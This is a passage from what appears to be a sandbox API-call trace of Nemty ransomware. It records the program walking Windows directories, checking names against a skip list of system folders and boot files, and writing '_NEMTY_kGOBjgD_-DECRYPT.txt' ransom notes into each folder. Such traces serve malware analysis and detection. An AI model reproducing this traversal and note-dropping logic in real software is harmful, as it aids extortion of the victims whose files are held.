dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94138 | out: hHeap=0x4f90000) returned 1 [0109.136] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf489e0d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf489e0d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf48c4230, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0109.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0109.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0109.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0109.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0109.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0109.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0109.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0109.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0109.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0109.136] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0109.137] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0109.137] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0109.137] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0109.137] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0109.137] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0109.137] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0109.137] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0109.137] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0109.137] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0109.137] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0109.137] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0109.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0109.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0109.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0109.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0109.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0109.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0109.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0109.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0109.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0109.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0109.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0109.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0109.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0109.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0109.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.137] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0109.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0109.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0109.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94218 | out: hHeap=0x4f90000) returned 1 [0109.137] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.138] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf489e0d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf489e0d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf48c4230, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0109.138] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0109.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0109.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940e0 | out: hHeap=0x4f90000) returned 1 [0109.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0109.138] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0109.138] lstrcmpiW (lpString1="Gadgets", lpString2=".") returned 1 [0109.138] lstrcmpiW (lpString1="Gadgets", lpString2="..") returned 1 [0109.138] lstrcmpiW (lpString1="Gadgets", lpString2="...") returned 1 [0109.138] lstrcmpiW (lpString1="Gadgets", lpString2="windows") returned -1 [0109.138] lstrcmpiW (lpString1="Gadgets", lpString2="$RECYCLE.BIN") returned 1 [0109.138] lstrcmpiW (lpString1="Gadgets", lpString2="rsa") returned -1 [0109.138] lstrcmpiW (lpString1="Gadgets", lpString2="NTDETECT.COM") returned -1 [0109.138] lstrcmpiW (lpString1="Gadgets", lpString2="ntldr") returned -1 [0109.138] lstrcmpiW (lpString1="Gadgets", lpString2="MSDOS.SYS") returned -1 [0109.138] lstrcmpiW (lpString1="Gadgets", lpString2="IO.SYS") returned -1 [0109.138] lstrcmpiW (lpString1="Gadgets", lpString2="boot.ini") returned 1 [0109.138] lstrcmpiW (lpString1="Gadgets", lpString2="boot.ini") returned 1 [0109.138] lstrcmpiW (lpString1="Gadgets", lpString2="AUTOEXEC.BAT") returned 1 [0109.138] lstrcmpiW (lpString1="Gadgets", lpString2="ntuser.dat") returned -1 [0109.138] lstrcmpiW (lpString1="Gadgets", lpString2="desktop.ini") returned 1 [0109.138] lstrcmpiW (lpString1="Gadgets", lpString2="CONFIG.SYS") returned 1 [0109.138] lstrcmpiW (lpString1="Gadgets", lpString2="RECYCLER") returned -1 [0109.138] lstrcmpiW (lpString1="Gadgets", lpString2="BOOTSECT.BAK") returned 1 [0109.138] lstrcmpiW (lpString1="Gadgets", lpString2="bootmgr") returned 1 [0109.138] lstrcmpiW (lpString1="Gadgets", lpString2="programdata") returned -1 [0109.138] lstrcmpiW (lpString1="Gadgets", lpString2="appdata") returned 1 [0109.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadgets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0109.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadgets", cchWideChar=7, lpMultiByteStr=0x653f590, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadgets", lpUsedDefaultChar=0x0) returned 7 [0109.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadgets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0109.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadgets", cchWideChar=7, lpMultiByteStr=0x653f590, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadgets", lpUsedDefaultChar=0x0) returned 7 [0109.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940e0 [0109.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0109.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94148 [0109.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0109.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0109.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0109.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941b0 [0109.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94238 [0109.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b0 | out: hHeap=0x4f90000) returned 1 [0109.139] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0109.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0109.143] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.143] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0109.144] CloseHandle (hObject=0x3c4) returned 1 [0109.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0109.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94148 | out: hHeap=0x4f90000) returned 1 [0109.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94148 [0109.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941b0 [0109.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94218 [0109.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0109.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0109.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.144] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0109.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94280 [0109.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94308 [0109.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0109.144] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0109.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94308 | out: hHeap=0x4f90000) returned 1 [0109.145] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.145] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0109.146] CloseHandle (hObject=0x3c4) returned 1 [0109.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0109.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94218 | out: hHeap=0x4f90000) returned 1 [0109.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94218 [0109.146] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf4b25830, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf4b25830, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0109.146] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0109.146] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf4b25830, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf4b25830, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0109.146] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0109.146] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0109.147] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Calendar.Gadget", cAlternateFileName="CALEND~1.GAD")) returned 1 [0109.147] lstrcmpiW (lpString1="Calendar.Gadget", lpString2=".") returned 1 [0109.147] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="..") returned 1 [0109.147] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="...") returned 1 [0109.147] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="windows") returned -1 [0109.147] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="$RECYCLE.BIN") returned 1 [0109.147] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="rsa") returned -1 [0109.147] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="NTDETECT.COM") returned -1 [0109.147] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="ntldr") returned -1 [0109.147] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="MSDOS.SYS") returned -1 [0109.147] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="IO.SYS") returned -1 [0109.147] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="boot.ini") returned 1 [0109.147] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="boot.ini") returned 1 [0109.147] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="AUTOEXEC.BAT") returned 1 [0109.147] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="ntuser.dat") returned -1 [0109.147] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="desktop.ini") returned -1 [0109.147] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="CONFIG.SYS") returned -1 [0109.147] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="RECYCLER") returned -1 [0109.147] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="BOOTSECT.BAK") returned 1 [0109.147] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="bootmgr") returned 1 [0109.147] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="programdata") returned -1 [0109.147] lstrcmpiW (lpString1="Calendar.Gadget", lpString2="appdata") returned 1 [0109.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Calendar.Gadget", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0109.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Calendar.Gadget", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Calendar.Gadget", lpUsedDefaultChar=0x0) returned 15 [0109.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Calendar.Gadget", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0109.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Calendar.Gadget", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Calendar.Gadget", lpUsedDefaultChar=0x0) returned 15 [0109.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94280 [0109.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94218 | out: hHeap=0x4f90000) returned 1 [0109.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94308 [0109.147] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0109.147] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0109.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.148] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0109.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94390 [0109.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340048 [0109.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94390 | out: hHeap=0x4f90000) returned 1 [0109.148] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0109.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0109.150] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.150] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0109.151] CloseHandle (hObject=0x1e8) returned 1 [0109.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0109.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94308 | out: hHeap=0x4f90000) returned 1 [0109.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94308 [0109.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94390 [0109.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0109.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0109.152] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, 